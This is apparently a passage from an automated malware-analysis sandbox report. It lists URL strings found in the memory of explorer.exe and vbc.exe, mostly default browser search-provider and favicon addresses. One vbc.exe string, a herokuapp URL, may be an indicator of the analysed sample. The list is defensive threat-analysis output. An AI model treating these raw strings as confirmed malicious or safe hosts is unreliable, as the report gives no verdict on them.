Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://de.search.yahoo.com/
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://es.ask.com/
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://es.search.yahoo.com/
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://esearch.rakuten.co.jp/
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://espanol.search.yahoo.com/
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://espn.go.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://find.joins.com/
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://fr.search.yahoo.com/
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://google.pchome.com.tw/
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://home.altervista.org/
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://home.altervista.org/favicon.ico
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://ie.search.yahoo.com/os?command=
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://ie8.ebay.com/open-search/output-xml.php?q=
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://image.excite.co.jp/jp/favicon/lep.ico
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://images.joins.com/ui_c/fvc_joins.ico
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://images.monster.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://img.atlas.cz/favicon.ico
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://img.shopzilla.com/shopzilla/shopzilla.ico
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://in.search.yahoo.com/
Source: explorer.exe, 00000006.00000000.2166477724.0000000003C40000.00000002.00000001.sdmp	String found in binary or memory: http://investor.msn.com
Source: explorer.exe, 00000006.00000000.2166477724.0000000003C40000.00000002.00000001.sdmp	String found in binary or memory: http://investor.msn.com/
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://it.search.dada.net/
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://it.search.dada.net/favicon.ico
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://it.search.yahoo.com/
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://jobsearch.monster.com/
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://kr.search.yahoo.com/
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://list.taobao.com/
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://list.taobao.com/browse/search_visual.htm?n=15&q=
Source: explorer.exe, 00000006.00000000.2166745139.0000000003E27000.00000002.00000001.sdmp	String found in binary or memory: http://localizability/practices/XML.asp
Source: explorer.exe, 00000006.00000000.2166745139.0000000003E27000.00000002.00000001.sdmp	String found in binary or memory: http://localizability/practices/XMLConfiguration.asp
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://mail.live.com/
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://mail.live.com/?rru=compose%3Fsubject%3D
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://msk.afisha.ru/
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://ocnsearch.goo.ne.jp/
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://openimage.interpark.com/interpark.ico
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://p.zhongsou.com/
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://p.zhongsou.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://price.ru/
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://price.ru/favicon.ico
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://recherche.linternaute.com/
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://recherche.tf1.fr/
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://recherche.tf1.fr/favicon.ico
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://rover.ebay.com
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://ru.search.yahoo.com
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://sads.myspace.com/
Source: explorer.exe, 00000006.00000000.2161587141.0000000001C70000.00000002.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous.
Source: vbc.exe, 00000004.00000002.2157265721.000000000235A000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search-dyn.tiscali.it/
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.about.com/
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.alice.it/
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.alice.it/favicon.ico
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.aol.co.uk/
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.aol.com/
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.aol.in/
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.atlas.cz/
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.auction.co.kr/
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.auone.jp/
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.books.com.tw/
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.books.com.tw/favicon.ico
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.centrum.cz/
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.centrum.cz/favicon.ico
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.chol.com/
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.chol.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.cn.yahoo.com/
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.daum.net/
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.daum.net/favicon.ico
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.dreamwiz.com/
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.dreamwiz.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.ebay.co.uk/
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.ebay.com/
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.ebay.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.ebay.de/
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.ebay.es/
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.ebay.fr/
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.ebay.in/
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.ebay.it/
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.empas.com/
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.empas.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.espn.go.com/
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.gamer.com.tw/
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.gamer.com.tw/favicon.ico
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.gismeteo.ru/
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.goo.ne.jp/
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.goo.ne.jp/favicon.ico
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.hanafos.com/
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.hanafos.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.interpark.com/
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.ipop.co.kr/
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.ipop.co.kr/favicon.ico
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.live.com/results.aspx?FORM=IEFM1&q=
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.live.com/results.aspx?FORM=SO2TDF&q=
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.live.com/results.aspx?FORM=SOLTDF&q=
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.live.com/results.aspx?q=
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.livedoor.com/
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.livedoor.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.lycos.co.uk/
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.lycos.com/
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.lycos.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.msn.co.jp/results.aspx?q=
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.msn.co.uk/results.aspx?q=
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.msn.com.cn/results.aspx?q=
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.msn.com/results.aspx?q=
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.nate.com/
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.naver.com/
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.naver.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.nifty.com/
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.orange.co.uk/
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.orange.co.uk/favicon.ico
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.rediff.com/
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.rediff.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.seznam.cz/
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.seznam.cz/favicon.ico
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.sify.com/
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.yahoo.co.jp
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.yahoo.co.jp/favicon.ico
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.yahoo.com/
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.yahoo.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.yahooapis.jp/AssistSearchService/V2/webassistSearch?output=iejson&p=
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.yam.com/
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search1.taobao.com/
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search2.estadao.com.br/
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://searchresults.news.com.au/
Source: explorer.exe, 00000006.00000000.2167595442.0000000004F30000.00000002.00000001.sdmp	String found in binary or memory: http://servername/isapibackend.dll
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://service2.bfast.com/
Source: explorer.exe, 00000006.00000000.2166745139.0000000003E27000.00000002.00000001.sdmp	String found in binary or memory: http://services.msn.com/svcs/oe/certpage.asp?name=%s&email=%s&&Check
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://sitesearch.timesonline.co.uk/
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://so-net.search.goo.ne.jp/
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://suche.aol.de/
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://suche.freenet.de/
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://suche.freenet.de/favicon.ico
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://suche.lycos.de/
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://suche.t-online.de/
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://suche.web.de/
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://suche.web.de/favicon.ico
Source: vbc.exe, 00000004.00000002.2157265721.000000000235A000.00000004.00000001.sdmp	String found in binary or memory: http://thesnake.herokuapp.com/snakes
Source: explorer.exe, 00000006.00000000.2167227314.0000000004B50000.00000002.00000001.sdmp	String found in binary or memory: http://treyresearch.net
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://tw.search.yahoo.com/
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://udn.com/
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://udn.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://uk.ask.com/
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://uk.ask.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://uk.search.yahoo.com/
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://vachercher.lycos.fr/
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://video.globo.com/
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://video.globo.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://web.ask.com/
Source: explorer.exe, 00000006.00000000.2167227314.0000000004B50000.00000002.00000001.sdmp	String found in binary or memory: http://wellformedweb.org/CommentAPI/
Source: explorer.exe, 00000006.00000000.2166745139.0000000003E27000.00000002.00000001.sdmp	String found in binary or memory: http://windowsmedia.com/redir/services.asp?WMPFriendly=true
Source: explorer.exe, 00000006.00000000.2178834889.000000000A330000.00000008.00000001.sdmp	String found in binary or memory: http://www.%s.com
Source: explorer.exe, 00000006.00000000.2161587141.0000000001C70000.00000002.00000001.sdmp	String found in binary or memory: http://www.%s.comPA
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.abril.com.br/
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.abril.com.br/favicon.ico
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.afisha.ru/App_Themes/Default/images/favicon.ico
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.alarabiya.net/
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.alarabiya.net/favicon.ico
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.amazon.co.jp/
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.amazon.co.uk/
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.amazon.com/exec/obidos/external-search/104-2981279-3455918?index=blended&keyword=
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.amazon.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.amazon.com/gp/search?ie=UTF8&tag=ie8search-20&index=blended&linkCode=qs&c
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.amazon.de/
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.aol.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.arrakis.com/
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.arrakis.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.asharqalawsat.com/
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.asharqalawsat.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.ask.com/
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.auction.co.kr/auction.ico
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.baidu.com/
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.baidu.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.cdiscount.com/
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.cdiscount.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.ceneo.pl/
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.ceneo.pl/favicon.ico
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.chennaionline.com/ncommon/images/collogo.ico
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.cjmall.com/
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.cjmall.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.clarin.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.cnet.co.uk/
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.cnet.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.dailymail.co.uk/
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.dailymail.co.uk/favicon.ico
Source: 32ED815C.emf.0.dr	String found in binary or memory: http://www.day.com/dam/1.0
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.etmall.com.tw/
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.etmall.com.tw/favicon.ico
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.excite.co.jp/
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.expedia.com/
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.expedia.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2167227314.0000000004B50000.00000002.00000001.sdmp	String found in binary or memory: http://www.expedia.com/pub/agent.dll?qscr=mcst&strt1=%1&city1=%2&stnm1=%4&zipc1=%3&cnty1=5?http://ww
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.gismeteo.ru/favicon.ico
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.gmarket.co.kr/
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.gmarket.co.kr/favicon.ico
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.google.co.in/
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.google.co.jp/
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.google.co.uk/
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.google.com.br/
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.google.com.sa/
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.google.com.tw/
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.google.com/
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.google.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.google.cz/
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.google.de/
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.google.es/
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.google.fr/
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.google.it/
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.google.pl/
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.google.ru/
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.google.si/
Source: explorer.exe, 00000006.00000000.2166477724.0000000003C40000.00000002.00000001.sdmp	String found in binary or memory: http://www.hotmail.com/oe
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.iask.com/
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.iask.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2166745139.0000000003E27000.00000002.00000001.sdmp	String found in binary or memory: http://www.icra.org/vocabulary/.
